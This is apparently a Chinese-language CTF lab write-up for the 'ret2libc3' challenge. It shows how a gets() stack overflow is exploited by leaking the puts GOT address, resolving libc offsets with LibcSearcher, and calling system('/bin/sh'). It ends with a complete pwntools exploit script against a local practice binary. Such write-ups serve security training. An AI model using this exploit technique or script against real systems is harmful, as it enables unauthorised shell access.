Return to Libc 3
1、IDA分析程序,审计源码,查找漏洞。
IDA分析程序,没有system函数和‘/bin/sh’这个字符串,需要我们自己找到。(通过libc的固定偏移)
发现漏洞gets,可以利用栈溢出,使函数跳转到system,最后getshell。
我们的思路就是构造payload泄漏libc的版本通过加载这个版本的libc来获取程序中system函数和”/bin/sh”字符串的偏移。
2、再checksec,看下程序有哪些保护。
很幸运发现没有Canary保护,我们在构造payload的时候就简单了很多。(不需要泄露canary)
3、同之前的实验一样,寻找泄露地址,计算栈的填充量。
4、写脚本
-
基本环境设置
-
构造payload1,使函数返回puts的真实函数地址(got表中,不过好像也不是真实物理地址)
payload1 = ‘a’*112 + p32(puts_plt) + p32(main_plt) + p32(puts_got)
其中’a’*112为填充栈,然后将(puts_plt)设为函数返回地址,进入libc,main_plt(忘了,下次补,栈的结构基本知识,使得puts之后再次进入main);puts_got是puts的参数,借此得到puts的真实函数地址。
-
利用LibcSearcher查询libc版本,得到system,binsh的固定偏移量。
-
计算system,binsh的“真实”地址
原理:
system_addr - libc_system = puts_addr - libc_puts = libc的偏移量
system_addr = puts_addr + (libc_system - libc_puts)
system_addr = puts_addr - puts_libc + system_libc
binsh_addr = puts_addr - puts_libc + binsh_libc
-
构造payload2
payload_getshell = ‘a’ * 104 + p32(system_addr) + p32(66666) + p32(binsh_addr)
#同理’a’为填充量,用system的真实加载地址覆盖ret,并带入参数binsh,最终getshell。
注意: 'a’的填充量要画堆栈图,并不是原来的112。大坑!!
最终exp
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal=['gome-terminal','-x','sh','-c']
#获取elf文件中的puts,_start,puts
elf=ELF('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
#创建进程,运行
p=process('./ret2libc3')
# gdb跟进程序进程
#pwnlib.gdb.attach(p)
p.readuntil("!?")
main=0x8048618
payload = 'a'*112 + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
print("puts_ addr:" + hex(puts_addr))
#libc=ELF("libc6_2.3.2.ds1-13ubuntu2.2_amd64.so")
#获取libc中的puts,system,/bin/sh的实际地址
#puts_libc = libc.symbols['puts']
#system_libc =libc.symbols['system']
#binsh_libc = next(libc.search("/bin/sh"))
libc = LibcSearcher('puts',puts_addr)
print(libc)
puts_libc = libc.dump('puts')
print(puts_libc)
system_libc = libc.dump('system')
print(system_libc)
binsh_libc = libc.dump('str_bin_sh')
print(binsh_libc)
#计算system,/bin/sh的实际加载地址
system_addr = puts_addr - puts_libc + system_libc
binsh_addr = puts_addr - puts_libc + binsh_libc
print("system_addr:" + hex(system_addr))
print("binsh_addr:" + hex(binsh_addr))
payload_getshell = 'a' * 104 + p32(system_addr) + p32(66666) + p32(binsh_addr)
#这里开头‘A’的数量要具体到堆栈里调试观察,因为main函数开头先将ESP最后一位变为0即16位对齐,再减128.
p.sendline(payload_getshell)
p.interactive()